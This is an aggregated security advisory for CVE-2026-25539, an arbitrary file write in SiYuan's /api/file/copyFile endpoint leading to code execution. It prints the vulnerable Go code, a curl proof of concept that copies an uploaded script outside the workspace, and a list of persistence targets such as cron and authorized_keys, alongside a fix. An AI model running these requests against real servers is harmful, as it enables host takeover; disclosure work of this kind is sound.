CVE-2026-25539
JSON

9.1critical

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Severity
9.1critical CVSS:3.1 by GitHub_M
Exploit likelihood
1.10% (higher than 66% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-c4jr-5q7w-f6r9GO-2026-4387

Description

SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.

Affected

Product or packageVersionsReported by
siyuan-note siyuan< 3.5.5CVE List
github.com/siyuan-note/siyuan/kernel (Go)up to 0.0.0-20260126094835-d5d10dd41b0c, all versionsGitHub Advisory Database, Go Vulnerability Database
b3log siyuanup to 3.5.3NVD

All scores

GitHub_M9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
GitHub9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
NVD7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.

GitHub Advisory Database

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

  • Affected Version: 3.5.3 (and likely all prior versions)

Details

  • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
  • Location: kernel/api/file.go - copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...

    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
#         id > /tmp/pwned.txt
#         hostname >> /tmp/pwned.txt

Attack Scenarios

Target PathImpact
/etc/cron.d/backdoorScheduled command execution (RCE)
~/.ssh/authorized_keysPersistent SSH access
~/.bashrcCommand execution on user login
/etc/ld.so.preloadShared library injection
RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh

# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can:

  1. Achieve Remote Code Execution with the privileges of the SiYuan process
  2. Establish persistent backdoor access via SSH keys
  3. Compromise the entire host system
  4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

func copyFile(c *gin.Context) {
    // ...
    dest := arg["dest"].(string)

    // Add validation
    if !util.IsSubPath(util.WorkspaceDir, dest) {
        ret.Code = -1
        ret.Msg = "dest path must be within workspace"
        return
    }

    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

Go Vulnerability Database

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE in github.com/siyuan-note/siyuan/kernel

NVD (es)

SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.5.5, el endpoint /api/file/copyFile no valida el parámetro dest, permitiendo a usuarios autenticados escribir archivos en ubicaciones arbitrarias en el sistema de archivos. Esto puede llevar a la Ejecución Remota de Código (RCE) al escribir en ubicaciones sensibles como trabajos cron, SSH authorized_keys o archivos de configuración de shell. Este problema ha sido parcheado en la versión 3.5.5.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25539 changed 2026-02-05CVE Terms of Use
GitHub Advisory DatabaseGHSA-c4jr-5q7w-f6r9 changed 2026-02-05CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4387 changed 2026-03-03CC-BY-4.0
NVDCVE-2026-25539 changed 2026-06-17Public domain